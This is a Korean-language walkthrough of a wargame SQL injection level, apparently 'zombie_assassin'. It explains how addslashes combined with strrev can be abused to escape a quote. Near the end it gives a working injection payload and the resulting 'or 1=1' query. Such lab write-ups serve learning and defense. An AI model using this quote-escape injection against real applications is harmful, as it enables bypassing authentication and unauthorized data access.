없다
문제에 들어가면 위에 query와 sql명령문이 적혀있고 아래 코드가 나와 있다.
get으로 요청된 id
, pw
값에 addslashes
로 \
를 넣고, strrev
로 입력값을 순서를 뒤집는다.
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
get으로 요청된 id
, pw
값에 prob
, _
, .
, ()
가 들어가면 프로그램이 죽는다. 즉 이 부분이 필텨링 부분이다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
그 다음은 query에 sql명령문이 나온다.
명령문은 id
를 찾는데 prob_zombie_assassin
이라는 테이블에 있어야 하고, id
, pw
에 get으로 요청된 값이어야 한다.
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
그리고 id
를 찾으면 문제가 풀린다.
if($result['id']) solve("zombie_assassin");
addslashes
랑 strrev
를 이용해서 '
를 잘 제거하면 or
문을 이용해서 문제를 풀 수 있다.
일단 "
를 id
에 넣으면 \
가 생기는데 반전이 되면서 \
가 뒤로 가게 된다. 그러면 id
뒤에 있는 '
를 \
로 제거해서 문자열을 pw='
까지 문자열로 만든다. 그리고 잘 문자열을 반대로 적어서 보내면 문제가 풀린다.
/?id="&pw=- -- 1=1 ro
익스플로잇을 넣었을 때 실행될 sql query
select id from prob_zombie_assassin where id='"\' and pw='or 1=1 -- - '